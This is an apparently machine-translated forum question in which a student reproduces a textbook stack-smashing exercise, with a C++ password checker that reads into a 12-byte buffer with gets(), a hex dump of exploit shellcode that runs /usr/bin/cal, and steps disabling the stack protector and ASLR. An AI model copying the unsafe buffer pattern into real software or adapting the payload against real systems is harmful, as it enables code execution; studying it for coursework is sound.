Я делаю домашнюю работу для университета, и в книге, из которой я работаю (Безопасное кодирование на C и C ++ Робертом Сикордом), есть следующий пример;
Вы пишете простую программу ввода пароля и разбиваете стек на программу, чтобы терминал отображал снимок календаря. Это действительно просто и понятно, как пример разрушения стека. За исключением того, что я думаю, что книга, над которой мы должны работать, была написана давным-давно, до того, как ошибки Сегментации охватывали этот вид деятельности.
Я искал много сайтов (я добавил -fno-stach-protector в компилятор g ++, а также установил kernel.randomize_va_space = 0, но ни одному из них не было разрешено выполнение кода эксплойта).
Вот код пароля С ++;
#include <cstring>
#include <stdio.h>
#include <iostream>
bool isPasswordOkay(void);
int main(void)
{
bool PwStatus;
puts("Enter password:");
PwStatus = isPasswordOkay();
if (PwStatus == false)
{
puts("Access denied");
return 0;
}
else puts("Access granted");
return 0;
}
bool isPasswordOkay(void)
{
char Password[12];
gets(Password);
if (!strcmp(Password, "goodpass"))
return true;
else return(false);
}
и вот код эксплойта (exploit.bin);
000 31 32 33 34 35 36 37 38–39 30 31 32 33 34 35 36 "1234567890123456"010 37 38 39 30 31 32 33 34–35 36 37 38 E0 F9 FF BF "789012345678a. +"020 31 C0 A3 FF F9 FF BF B0–0B BB 03 FA FF BF B9 FB "1+ú . +≠+. +≠v"030 F9 FF BF 8B 15 FF F9 FF–BF CD 80 FF F9 FF BF 31 ". +ï§ . +−ç . +1"040 31 31 31 2F 75 73 72 2F–62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal "
После того, как код пароля скомпилирован, я выполняю, вводя ./a.out < exploit.bin
При выполнении терминал возвращает «Ошибка сегментации (ядро сброшено)». То, что это должно показать, является снимком календаря, найденного в «111 / usr / bin / cal».
У меня вопрос, есть ли способ временно отключить эту ошибку сегментации, чтобы позволить выполнение кода эксплойта? Это позволило бы мне тогда продолжить раздел, поскольку я немного озадачен в данный момент.
Спасибо,
Джон
РЕДАКТИРОВАТЬ: К сожалению, я не могу загрузить изображения еще, поскольку я новичок, но вот ссылка на разбивку кода exploit.bin; http://imgur.com/lpz9eY4
Задача ещё не решена.